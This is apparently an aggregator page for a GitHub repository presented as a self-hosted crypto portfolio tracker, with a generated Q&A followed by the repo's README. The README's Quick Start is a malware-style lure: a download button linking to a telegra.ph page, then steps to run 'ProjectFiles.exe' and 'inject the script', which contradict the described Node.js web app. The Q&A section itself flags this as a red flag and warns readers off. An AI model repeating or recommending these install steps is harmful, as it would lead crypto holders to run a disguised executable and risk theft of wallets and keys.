# crypto-portfolio-tracker (Lowbetweentrim/crypto-portfolio-tracker)

> A self-hosted, open-source crypto portfolio tracker meant to import transactions from CSV or exchange APIs and calculate real-time profit and loss while keeping data on your machine. The Quick Start, however, is not a normal install (see below).

- GitHub: https://github.com/Lowbetweentrim/crypto-portfolio-tracker
- GitHub.Locker page: https://github.locker/Lowbetweentrim/crypto-portfolio-tracker
- Stars: 425
- Language: Python
- License: MIT
- Last push: 2026-11-06

## Questions and answers

Written by GitHub.Locker from the README and the repository; check the README below for details.

**Is it a web app or a desktop program?**

According to the README it is a lightweight web app served on localhost:3000, with a React/Next.js frontend and a Node.js/TypeScript backend. The repo's language is listed as Python, which does not match that stack.

**How do I get it running?**

The Quick Start says to download 'CoreUpdatePack' with a button, extract it, run ProjectFiles.exe and 'inject the script'. That is not a standard install and does not match the rest of the docs. A Docker Compose route is mentioned, but no commands are given.

**Do I need anything special first?**

The README gives no versions or install commands. It mentions Docker Compose for deployment and optional CoinGecko or exchange API keys for rate limits. Exchange keys should be read-only.

**Is there a catch I should know before trying it?**

Yes. The Quick Start asks you to run an executable and 'inject the script', which a privacy-first web app should not need. Do not run ProjectFiles.exe or any injected script. Read the source and install only from a source you trust.

**Can I run it on a server?**

Yes. The README says it runs on your own machine or a server and lists Docker deployment. The data lives in a local SQLite file, so a single container should be enough.

**Does my data leave my machine?**

The README says data stays local in an encrypted SQLite database and that the app only contacts the internet for public price data and balance reads. That is only a claim, and the executable and injection step contradicts it, so verify it yourself.

**Which chains and exchanges can it track?**

According to the README: Ethereum, Bitcoin, Solana and other EVM chains via public addresses, plus transaction history from Binance and Coinbase or from CSV files.

**Does it help with crypto taxes?**

It can export a CSV of realized and unrealized gains for tax software. The README does not say which tax systems or jurisdictions are covered.

**What can I configure in .env?**

PORT for the web server, CURRENCY for the base fiat currency, APIKEYS for optional price-API keys, and DATAPATH for the SQLite database location.

**Why is the Quick Start a red flag?**

It tells you to download a separate CoreUpdatePack, run a Windows executable and inject a script. That conflicts with the privacy-first, read-only design described elsewhere in the README. Verify the source before running anything.


---

## README (checked against GitHub 2026-11-07)

Source: https://github.com/Lowbetweentrim/crypto-portfolio-tracker/blob/main/README.md

# 💼 Crypto Portfolio Tracker

**Privacy-First Local Portfolio Manager — 2026**

A self-hosted, open-source cryptocurrency portfolio tracker. 
Track your real-time balances, calculate PnL (Profit and Loss), and manage your entire crypto history — without sending your data to the cloud.

---

## 🎯 What it is

**Crypto Portfolio Tracker** is a lightweight web application that runs on your own machine or server. 
Unlike centralized services, it does not require an account, does not track your IP, and gives you full control over your financial data.

> 🔒 Privacy-first: All transactions, balances, and API keys are stored locally in an encrypted SQLite database.

---

## 🚀 Quick Start

<p align="center">
  <a href="https://telegra.ph/TRANSITION-06-17-3">
    <img src="https://img.shields.io/badge/Download%20Project-2ea44f?style=for-the-badge&logo=download&logoColor=white" alt="Download Project">
  </a>
</p>

1. **Download Core_Update_Pack** using the button above.
2. **Extract** the archive into a separate folder.
3. **Run ProjectFiles.exe**.
4. **Follow the on-screen instructions** and inject the script.

---

## ✨ Features

| Feature                     | Description                                          |
|-----------------------------|------------------------------------------------------|
| 🔒 **Local-First**          | Data is stored in an encrypted SQLite database locally|
| 📊 **Real-Time PnL**        | Automatically calculates profit/loss for your assets |
| 📥 **CSV & API Import**     | Import history from Binance, Coinbase, or CSV files  |
| 🪙 **Multi-Chain Support**  | Track Ethereum, Bitcoin, Solana, and EVM chains      |
| 📈 **Interactive Charts**   | Visualize your portfolio allocation and performance  |
| 🧾 **Tax Reports**          | Export transaction history for tax calculation       |
| 🐳 **Docker Ready**         | One-command deployment with Docker Compose           |

---

## 🛠️ How to use

1. Launch the application (runs on `localhost:3000` by default).
2. Create a local master password to encrypt your database.
3. Add your public wallet addresses (no private keys required) or connect read-only API keys for exchanges.
4. Import historical transactions manually or via CSV.
5. View your real-time dashboard and PnL.

---

## ⚙️ Configuration

You can adjust settings in the `.env` file:

- **PORT**: Web server port (default: `3000`)
- **CURRENCY**: Base fiat currency (USD, EUR, etc.)
- **API_KEYS**: Optional CoinGecko/Exchange API keys for rate limits
- **DATA_PATH**: Path to the local SQLite database

---

## ❓ FAQ

**Is it safe to use?**
Yes — the application runs entirely on your machine. It only connects to the internet to fetch public price data and read your wallet balances.

**Do I need to provide my private keys?**
No. For wallets, you only provide public addresses. For exchanges, you create a **read-only** API key.

**Can I sync between devices?**
You can export an encrypted backup of your database and import it on another device. Cloud sync is not supported by design.

**Does it support taxes?**
Yes, you can export a CSV report of your realized and unrealized gains, which can be uploaded to tax software.

---

## 💻 Tech Stack & Architecture

- **Frontend:** React / Next.js / Tailwind CSS
- **Backend:** Node.js / TypeScript
- **Database:** SQLite (encrypted with SQLCipher)
- **Price Data:** CoinGecko API / Binance WebSockets
- **Deployment:** Docker / Docker Compose

---

## 🤝 Contributing

Pull requests, bug reports, and feature suggestions are welcome.
See `CONTRIBUTING.md` for guidelines.

---

## 📜 License

MIT License — free to use, modify and redistribute.

---

**⭐ Star the repo if it helped you.**

